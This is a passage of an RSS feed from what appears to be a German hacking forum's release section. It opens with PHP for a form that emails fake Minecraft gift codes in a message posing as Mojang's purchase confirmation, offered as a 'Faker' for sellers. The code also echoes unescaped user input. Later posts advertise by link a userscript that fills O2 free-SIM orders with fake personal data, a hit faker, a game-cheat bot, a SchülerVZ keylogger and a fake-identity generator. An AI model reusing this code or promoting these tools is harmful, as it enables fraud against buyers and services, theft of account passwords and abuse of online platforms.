#007700">if(isset(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'send'</span><span style="color: #007700">&#93;))&nbsp;{&nbsp;echo&nbsp;</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'name'</span><span style="color: #007700">&#93;;&nbsp;}&nbsp;</span><span style="color: #0000BB">?&gt;</span>"&nbsp;/&gt;&nbsp;&lt;/td&gt;<br />&nbsp;&nbsp;&lt;/tr&gt;<br />&nbsp;&nbsp;&lt;tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&nbsp;Deine&nbsp;E-Mail:&nbsp;&lt;/td&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&nbsp;&lt;input&nbsp;type="text"&nbsp;name="email"&nbsp;value="<span style="color: #0000BB">&lt;?php&nbsp;</span><span style="color: #007700">if(isset(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'send'</span><span style="color: #007700">&#93;))&nbsp;{&nbsp;echo&nbsp;</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'email'</span><span style="color: #007700">&#93;;&nbsp;}&nbsp;</span><span style="color: #0000BB">?&gt;</span>"&nbsp;/&gt;&nbsp;&lt;/td&gt;<br />&nbsp;&nbsp;&lt;/tr&gt;<br />&nbsp;&nbsp;&lt;tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&nbsp;Anzahl&nbsp;der&nbsp;gekauften&nbsp;Keys:&nbsp;&lt;/td&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&nbsp;&lt;input&nbsp;type="text"&nbsp;name="anzahl"&nbsp;value="<span style="color: #0000BB">&lt;?php&nbsp;</span><span style="color: #007700">if(isset(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'send'</span><span style="color: #007700">&#93;))&nbsp;{&nbsp;echo&nbsp;</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'anzahl'</span><span style="color: #007700">&#93;;&nbsp;}&nbsp;</span><span style="color: #0000BB">?&gt;</span>"&nbsp;/&gt;&nbsp;&lt;/td&gt;<br />&nbsp;&nbsp;&lt;/tr&gt;<br />&nbsp;&nbsp;&lt;tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&nbsp;Keys&nbsp;(Pro&nbsp;Zeile&nbsp;einen!):&nbsp;&lt;/td&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&nbsp;&lt;textarea&nbsp;name="keys"&nbsp;cols="40"&nbsp;rows="10"&gt;<span style="color: #0000BB">&lt;?php&nbsp;</span><span style="color: #007700">if(isset(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'send'</span><span style="color: #007700">&#93;))&nbsp;{&nbsp;echo&nbsp;</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'keys'</span><span style="color: #007700">&#93;;&nbsp;}&nbsp;</span><span style="color: #0000BB">?&gt;</span>&lt;/textarea&gt;&nbsp;&lt;/td&gt;<br />&nbsp;&nbsp;&lt;/tr&gt;<br />&nbsp;&nbsp;&lt;tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&nbsp;Keys&nbsp;automatisch&nbsp;generieren:&nbsp;&lt;/td&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&nbsp;&lt;input&nbsp;type="checkbox"&nbsp;name="auto_generate"&nbsp;/&gt;&nbsp;&lt;/td&gt;<br />&nbsp;&nbsp;&lt;/tr&gt;<br />&nbsp;&nbsp;&lt;tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&nbsp;&amp;nbsp;&nbsp;&lt;/td&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;&nbsp;&lt;input&nbsp;type="submit"&nbsp;name="send"&nbsp;value="E-Mail&nbsp;Senden!"&nbsp;/&gt;&nbsp;&lt;/td&gt;<br />&nbsp;&nbsp;&lt;/tr&gt;<br />&nbsp;&nbsp;&lt;/table&gt;<br /><br />&lt;/form&gt;<br /><br /><span style="color: #0000BB">&lt;?php<br /><br />&nbsp;&nbsp;</span><span style="color: #007700">if(isset(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'send'</span><span style="color: #007700">&#93;))<br />&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;if(empty(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'name'</span><span style="color: #007700">&#93;)&nbsp;or&nbsp;empty(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'email'</span><span style="color: #007700">&#93;)&nbsp;or&nbsp;empty(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'anzahl'</span><span style="color: #007700">&#93;))<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">'Du&nbsp;hast&nbsp;nicht&nbsp;alle&nbsp;Felder&nbsp;ausgef&amp;uuml;llt!'</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$mail&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">htmlspecialchars</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'email'</span><span style="color: #007700">&#93;));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$name&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">htmlspecialchars</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'name'</span><span style="color: #007700">&#93;));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$amount&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">htmlspecialchars</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'anzahl'</span><span style="color: #007700">&#93;));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'auto_generate'</span><span style="color: #007700">&#93;&nbsp;==&nbsp;</span><span style="color: #DD0000">'on'</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$keys&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">generateMinecraftKey</span><span style="color: #007700">(</span><span style="color: #0000BB">$amount</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$keys&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">htmlspecialchars</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'keys'</span><span style="color: #007700">&#93;));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$content&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'Hi&nbsp;'</span><span style="color: #007700">.</span><span style="color: #0000BB">$name</span><span style="color: #007700">.</span><span style="color: #DD0000">'<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Thank&nbsp;you&nbsp;for&nbsp;purchasing&nbsp;'</span><span style="color: #007700">.</span><span style="color: #0000BB">$amount</span><span style="color: #007700">.</span><span style="color: #DD0000">'&nbsp;Minecraft&nbsp;gift&nbsp;codes!<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You&nbsp;can&nbsp;see&nbsp;a&nbsp;list&nbsp;of&nbsp;all&nbsp;your&nbsp;purchased&nbsp;gift&nbsp;codes&nbsp;on&nbsp;http://www.minecraft.net/&nbsp;by&nbsp;logging&nbsp;in&nbsp;and&nbsp;clicking&nbsp;on&nbsp;the&nbsp;"profile"&nbsp;link.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The&nbsp;codes&nbsp;for&nbsp;this&nbsp;purchase&nbsp;are:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #007700">.</span><span style="color: #0000BB">$keys</span><span style="color: #007700">.</span><span style="color: #DD0000">'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;To&nbsp;give&nbsp;the&nbsp;game&nbsp;to&nbsp;another&nbsp;player,&nbsp;give&nbsp;them&nbsp;one&nbsp;of&nbsp;the&nbsp;unused&nbsp;codes&nbsp;and&nbsp;ask&nbsp;them&nbsp;to&nbsp;visit&nbsp;http://www.minecraft.net/redeem.jsp<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Thank&nbsp;you,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Mojang'</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">mail</span><span style="color: #007700">(</span><span style="color: #0000BB">$mail</span><span style="color: #007700">,</span><span style="color: #0000BB">$headline</span><span style="color: #007700">,</span><span style="color: #0000BB">$content</span><span style="color: #007700">,</span><span style="color: #0000BB">$extra</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">'Abgeschickt!'</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;}<br /></span><span style="color: #0000BB">?&gt;<br /></span><br />&lt;/body&gt;<br /><br />&lt;/html&gt;</span>
</code></code><hr />
</div><b>Falls ihr Verkäufer seit und einen Faker für eine ebenfalls andere Art  braucht, meldet euch :) Und ja.. Das Script ist nicht das sauberste, soll nur zur Eigennutzung dienen^^</b><br />
<br />
MfG</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Comu</dc:creator>
			<guid isPermaLink="true">showroom-102/tool-fuer-minecraft-key-verkaeufer-30763</guid>
		</item>
		<item>
			<title><![CDATA[O2 AutoFiller [voucher4.me, gratis-prepaid-guthaben.de, ...]]]></title>
			<link>showroom-102/o2-autofiller-voucher4-me-gratis-prepaid-guthaben-de-29698?goto=newpost</link>
			<pubDate>Wed, 10 Aug 2011 13:02:57 GMT</pubDate>
			<description>Hi, 
 
 
Da Gratis ?15 ? Prepaid-Guthaben kostenlos aufladen (http://gratis-prepaid-guthaben.de/) nun wieder funktioniert, hab ich mich entschieden,...</description>
			<content:encoded><![CDATA[<div>Hi,<br />
<br />
<br />
Da <a href="http://gratis-prepaid-guthaben.de/" target="_blank" rel="nofollow">Gratis ?15 ? Prepaid-Guthaben kostenlos aufladen</a> nun wieder funktioniert, hab ich mich entschieden, eine kleine Hilfe von mir bereitzustellen.<br />
<br />
<b>Beschreibung:</b><br />
Das Script füllt die Daten für O2 Freikarten <a href="http://www.o2-freikarte.de/" target="_blank" rel="nofollow">http://www.o2-freikarte.de</a> (diese werden z.B bei <i>voucher4.me</i> oder<i> gratis-prepaid-guthaben.de </i>benötigt)  automatisch mit Fakedaten aus. Die Daten stammen teilweise von <a href="http://fake-it.biz/" target="_blank" rel="nofollow">http://fake-it.biz</a> (gehört glaub einem User aus k-script). Dadurch wird das lästige Tippen erspart und man kann in Rekordzeit die Karten bestellen. ;)<br />
<br />
Achtung: Das Programm darf nur zu Lernzwecken heruntergeladen und nicht benutzt werden. <br />
<br />
<br />
<b>Hinweise:<br />
</b>- Um die Bestätigungsmail zu öffnen, müsst ihr auf den Pfeil rechts neben der E-Mail Adresse drücken<br />
- Wer das Script in einem Webproxy nutzen will, muss im Script folgende Änderung machen:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">@include http://*o2-freikarte.de*</code><hr />
</div> zu <div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">@include http://*</code><hr />
</div><b>Bugs &amp; Verbesserungsvorschläge</b>:<br />
- Hausnummer funktioniert teilweise nicht <font size="1">(Hilfe ist willkommen)</font> <font color="Red">In Arbeit</font><br />
- Sonderzeichen :s <font color="SeaGreen">&#8730;<br />
</font> - Mailanbieter automatisch öffnen nach erfolgreicher Bestellung <font color="SeaGreen">&#8730;</font><br />
<br />
<b>Screen</b>:<br />
<img src="http://img6.imagebanana.com/img/r2iwtnh5/screen_o2_autofiller.png" border="0" alt="" /><br />
<br />
<b><br />
Download:<br />
<br />
</b><u>Firefox:</u><a href="http://userscripts.org/scripts/source/102422.user.js" target="_blank" rel="nofollow">http://userscripts.org/scripts/source/102422.user.js</a><br />
<u>Chrome:</u> <a href="http://www.syme.lima-city.de/gm/o2_autofiller.user.js" target="_blank" rel="nofollow">http://www.syme.lima-city.de/gm/o2_autofiller.user.js</a> (0.5 keine Weiterentwicklung)<br />
Greasemonkey: <a href="https://addons.mozilla.org/de/firefox/addon/greasemonkey/" target="_blank" rel="nofollow">https://addons.mozilla.org/de/firefo.../greasemonkey/</a><br />
<br />
Würde mich über Feedback freuen :)<br />
Bei Interesse werd ich das gleiche Script für diverse andere Anbieter auch noch schreiben.<br />
<br />
Grüße Zort</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>syme</dc:creator>
			<guid isPermaLink="true">showroom-102/o2-autofiller-voucher4-me-gratis-prepaid-guthaben-de-29698</guid>
		</item>
		<item>
			<title><![CDATA[[Release] Hitfaker 3.5]]></title>
			<link>showroom-102/release-hitfaker-3-5-30880?goto=newpost</link>
			<pubDate>Mon, 08 Aug 2011 20:41:20 GMT</pubDate>
			<description>*Neue Version - 4.0 - With Proxylist !* 
 
 
Hallo Community, 
 
ich habe den alten 2.5 überarbeitet ein neues Design ein paar Bugs entfernt etc ......</description>
			<content:encoded><![CDATA[<div><div style="text-align: center;"><b><font size="4">Neue Version - 4.0 - With Proxylist !</font></b></div><br />
<br />
Hallo Community,<br />
<br />
ich habe den alten 2.5 überarbeitet ein neues Design ein paar Bugs entfernt etc ...<br />
Naja und habe den LogIn entfernt :D<br />
<br />
<br />
Problem : <br />
<br />
Er nimmt zurzeit keine Socks5 :confused: könnt ihr ja selber testen ;) ich empfehle HTTP Proxys.<br />
Ich wünsche euch  viel Spaß damit.<br />
<br />
MD5 : <b>41df94bc2e7b1234896065c7c4e2d0c1</b><br />
<br />
Screen : <br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7210&amp;d=1394438858" border="0" alt="Name:  screenqja.jpg
Hits: 278
Größe:  56,2 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
Download: <a href="http://ul.to/satwyhg6" target="_blank" rel="nofollow">Download</a><br />
Virustotal: <a href="http://www.virustotal.com/file-scan/report.html?id=64a369accac45b108a47c26470409c52dbdd0e0b12887eb775379b811da96a5a-1312932553" target="_blank" rel="nofollow">Virustotal 0/42</a><br />
<br />
Ich würde mich freuen das wenn ihr ihn testet eine kleine Kritik macht ob Positiv oder Negativ ich bin für alles offen.</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7210&amp;stc=1&amp;d=1394438858" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Kuchenmaster</dc:creator>
			<guid isPermaLink="true">showroom-102/release-hitfaker-3-5-30880</guid>
		</item>
		<item>
			<title><![CDATA[[Preview] Beach Bot]]></title>
			<link>showroom-102/preview-beach-bot-29905?goto=newpost</link>
			<pubDate>Thu, 28 Jul 2011 08:27:21 GMT</pubDate>
			<description>*Bevor der nächste inkompetente Idiot fragt wieso ich eine Preview poste wenn ich doch nicht release: 
1. Steht hier, dass ich es WAHRSCHEINLICH...</description>
			<content:encoded><![CDATA[<div><b><font color="Red">Bevor der nächste inkompetente Idiot fragt wieso ich eine Preview poste wenn ich doch nicht release:<br />
1. Steht hier, dass ich es WAHRSCHEINLICH nicht release, wer mich kennt weiß, dass ich mich daran meist sowieso nicht halte.<br />
2. Es ist ein Anreiz für andere Entwickler sich auch damit zu beschäftigen.<br />
3. Wenn ihr nur an das Release interessiert seid verpisst euch gleich wieder. :) Frechheit mich voll zu flamen, weil ich euch mal was nicht zur Verfügung stellen will. Und das Schlimmste kommt ja noch: ES WIRD NICHT OPEN SOURCE! Oh noes! Hab in ein halbes Jahr mehr für die Community getan als jeder einzelne von euch in X Jahren, also bitte...</font></b><br />
<br />
<iframe width="560" height="315" src="//www.youtube.com/embed/2O3Mzdy6jtw" frameborder="0" allowfullscreen></iframe><br />
<br />
Im Video seht ihr den in der zweiten Version meiner Beach Bridge enthaltenen Bot, spielt ganz von selbst. Ist natürlich noch nicht perfekt, aber es ist der erste Beach Bot, ich habe noch nicht sehr lange daran gearbeitet und trotzdem ist der Bot schon besser als so mancher anderer. Aber in Kombination mit den in der Bridge enthaltenen Cheats/Hacks ist das egal, wer dann noch verliert dem kann man wohl nicht mehr helfen. Im Notfall ist die Bridge dazu in der Lage das Game zu crashen und man verliert weder Punkte noch Knuddels.<br />
Mal sehen, wenn ich Zeit habe perfektioniere ich den Bot, dann wird es selbst für die Freaks nicht leicht gegen ihn anzutreten.<br />
<br />
Ihr braucht auch nicht fragen wann die Bridge released wird, wahrscheinlich gar nicht, bedanken könnt ihr euch bei Justin aka. C0LA aka. iRa1n und dem jenigen der ihm den Vorgänger unerlaubt zukommen lassen hat.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">showroom-102/preview-beach-bot-29905</guid>
		</item>
		<item>
			<title><![CDATA[[Release] Free SMS by orion-x [Alpha]]]></title>
			<link>showroom-102/release-free-sms-by-orion-x-alpha-30014?goto=newpost</link>
			<pubDate>Fri, 15 Jul 2011 20:15:22 GMT</pubDate>
			<description>Wer kennt es nicht, man muss dringent eine SMS loswerden und man hat kein Geld mehr auf dem Handy. 
Ich hatte die Tage mal ein wenig Langeweile, und...</description>
			<content:encoded><![CDATA[<div>Wer kennt es nicht, man muss dringent eine SMS loswerden und man hat kein Geld mehr auf dem Handy.<br />
Ich hatte die Tage mal ein wenig Langeweile, und habe eine kleines Programm geschrieben welches euch Free SMS verschicken lässt. Es läuft über folgende SMS Form: <a href="http://server.smsform.de/index.php?i=2010" target="_blank" rel="nofollow">Kostenlose FreeSMS ohne Anmeldung mit 160 Zeichen versenden</a><br />
<br />
<b>Screen:</b><br />
<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://u82.img-up.net/FreeSMSaf99c.PNG"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
<b>Funktionen derzeit:</b><br />
<br />
<ul><li style="">SMS Verschicken</li><li style="">Stautsangabe</li><li style="">Captcha anzeigen lassen</li><li style="">Werbungskiller(<font color="Red"><b>Für Internet Explorer nutzer unfreundlich</b></font>, da die Popup werbung über einen Prozess Kill unterbunden wird.)</li><li style="">Anzeige wenn die SMS nich gesendet werden konnte, oder SMS Anzahl verbraucht.</li></ul><br />
<b><font color="Red"><font color="Black"><br />
</font></font>ToDo:</b><br />
<br />
<ul><li style="">Proxy (zum Senden von &quot;unendlich SMS&quot;).</li><li style="">Besseres Design</li><li style="">Kleine Bugfixes</li><li style="">...</li></ul><br />
<b>Anleitung:</b><br />
<br />
<ul><li style="">Eingabe von Nummer + Text &amp; Buttonklick auf &quot;Senden&quot;.</li><li style="">Danach wird man aufgefordert die Angaben zu Bestätigen, durch einen Klick auf &quot;Angaben Bestätigen&quot;.</li><li style="">Dann wird das Captcha abgerufen und man wird aufgefordert es einzugeben, dann klick man auf &quot;Captcha Bestätigen&quot; und die SMS wird versendet.</li><li style="">Daraufhin wird man Benachrichtig ob die SMS versendet wurde, oder nicht.</li></ul><br />
<b>Download:</b><br />
<a href="http://www.multiupload.com/ZAYENQENQB" target="_blank" rel="nofollow">Multiupload.com - upload your files to multiple file hosting sites!</a><br />
<br />
<b>Virustotal:</b><br />
<a href="http://www.virustotal.com/file-scan/report.html?id=2e08684382909f5800383f96f2c77ab0b019ee6acc4c171a2e6c02dbf8405cf9-1310760242" target="_blank" rel="nofollow">VirusTotal - Free Online Virus, Malware and URL Scanner</a><br />
(Der eine Befund kommt vom Obfuscaten)<br />
<br />
In dem Sinne, Viel Spaß beim nutzen. Konstruktive Kritik &amp; Verbessrungsvorschläge sind erwünscht. :)</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>orion-x</dc:creator>
			<guid isPermaLink="true">showroom-102/release-free-sms-by-orion-x-alpha-30014</guid>
		</item>
		<item>
			<title>SVZ Keylogger Opensource .NET</title>
			<link>showroom-102/svz-keylogger-opensource-net-30877?goto=newpost</link>
			<pubDate>Mon, 11 Jul 2011 18:01:11 GMT</pubDate>
			<description>Hallo, 
Da ich diesen Keylogger aus Spaß mal programiert habe und ihn nie gebraucht habe möchte ich ihn mit euch teilen. Ich bin Anfänger im...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
Da ich diesen Keylogger aus Spaß mal programiert habe und ihn nie gebraucht habe möchte ich ihn mit euch teilen. Ich bin Anfänger im programmieren :) (Hbe das nur mit Tuturials gemacht).<br />
 <br />
Es ist ein Keylogger für Schülervz (Opensource). Ihr müsst E-Mail und Passwort von WEB.de haben.<br />
<br />
<a href="http://ul.to/wljx2fyl" target="_blank" rel="nofollow">http://ul.to/wljx2fyl</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>APay</dc:creator>
			<guid isPermaLink="true">showroom-102/svz-keylogger-opensource-net-30877</guid>
		</item>
		<item>
			<title><![CDATA[[Release] Allgemeiner Wecker]]></title>
			<link>showroom-102/release-allgemeiner-wecker-30260?goto=newpost</link>
			<pubDate>Mon, 04 Jul 2011 22:33:46 GMT</pubDate>
			<description>Hi Comm, 
 
einer letztens hatte ja nach einen Wecker gefragt da habe ich mir gedacht mach ich einen ich hatte ja schon einen aber der war zu...</description>
			<content:encoded><![CDATA[<div>Hi Comm,<br />
<br />
einer letztens hatte ja nach einen Wecker gefragt da habe ich mir gedacht mach ich einen ich hatte ja schon einen aber der war zu ungenau.<br />
Ich hoffe hier dieser gefällt euch mehr.<br />
<br />
<br />
<b><u>Update:</u></b><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			<br />
- Abschalten Button<br />
- Läuft unendlich also zum tot nerven ;)<br />
- Wird morgen um 17:00 hier im Thread veröffentlicht (3.0)<br />
- Eigener Ton<br />
- Mehrer Töne zur Auswahl<br />
<br />
Status: <b><font color="Green">Released</font></b><br />
			
		<hr />
	</div>
</div><br />
<br />
<br />
<br />
Screen: der 3.0 Version - FINAL Release!<br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<img src="http://img801.imageshack.us/img801/2074/wecker1.jpg" border="0" alt="" /><br />
<img src="http://img834.imageshack.us/img834/8158/wecker2.jpg" border="0" alt="" /><br />

</div>
</div>
</div><br />
<br />
Download: <a href="http://ul.to/55cs81nm" target="_blank" rel="nofollow">Download - Letztes Update</a><br />
Virustotal : <a href="http://www.virustotal.com/file-scan/report.html?id=a88f096bad9da91cf340c3b5bc9c9242af15bf310930ce26376200894eda6fc4-1309882064" target="_blank" rel="nofollow">0/43</a><br />
<br />
PS: Ihr könnt das Programm schließen und öffnen die Zeiten werden gespeichert.<br />
Unten bei der Löschfunktion einmal auf die entsprechende Zeit klicken und auf löschen.<br />
<br />
<br />
<br />
Format: <b><font color="Red">HH:mm:ss einhalten !</font></b></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Kuchenmaster</dc:creator>
			<guid isPermaLink="true">showroom-102/release-allgemeiner-wecker-30260</guid>
		</item>
		<item>
			<title><![CDATA[[Release] FakeGenerator v1]]></title>
			<link>showroom-102/release-fakegenerator-v1-30262?goto=newpost</link>
			<pubDate>Mon, 27 Jun 2011 22:11:10 GMT</pubDate>
			<description><![CDATA[Heyho, 
Einige kennen ihn, einige nicht; Den Fake Generator. Mit diesem Programm, kann man sich generierte Daten ausgeben lassen & diese z.B für Fake...]]></description>
			<content:encoded><![CDATA[<div>Heyho,<br />
Einige kennen ihn, einige nicht; Den Fake Generator. Mit diesem Programm, kann man sich generierte Daten ausgeben lassen &amp; diese z.B für Fake Accounts nutzen. <br />
In Version 1, habe ich ihn schlicht gehalten. Es gibt nur die Möglichkeit, sich lediglich Adressdaten Generieren zu lassen. <br />
<div style="text-align: center;"><div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<i>Screen</i> <input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
 <br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7017&amp;d=1393106848" border="0" alt="Name:  2mqw1va.png
Hits: 323
Größe:  111,0 KB" class="thumbnail" style="float:CONFIG" />]
</div>
</div>
</div></div><br />
Geplant für die nächste Version sind folgende Dinge;<br />
<br />
<ul><li style="">Bankdaten</li><li style="">Copy to Clipboard für's jeweilige Feld</li><li style="">Telefon / Handy Nummern</li></ul><br />
So lange rede kurzer Sinn; Kommen wir zum Download, sowie zum Virustotal:<br />
[HIDE]<br />
Download: <a href="http://www.multiupload.com/HDSB9KMHLG" target="_blank" rel="nofollow">Multiupload.com - upload your files to multiple file hosting sites!</a><br />
VT Bericht: <a href="http://www.virustotal.com/file-scan/report.html?id=e035ac71d1e15a05715b0deb11da91f2a574e93edef51625fe6114a6b252571d-1309211796" target="_blank" rel="nofollow">VirusTotal - Free Online Virus, Malware and URL Scanner</a><br />
[/hide]<br />
<br />
Credit's gehen zu <b><font color="Red">The Don of NYC</font></b>, der mir zu 90% beim Code geholfen hat &amp; zu<font color="Indigo"> <b>Flavour</b></font>, der mir die Daten zusammen gecrawled hat. Danke an euch, ihr beiden Süßen :*<br />
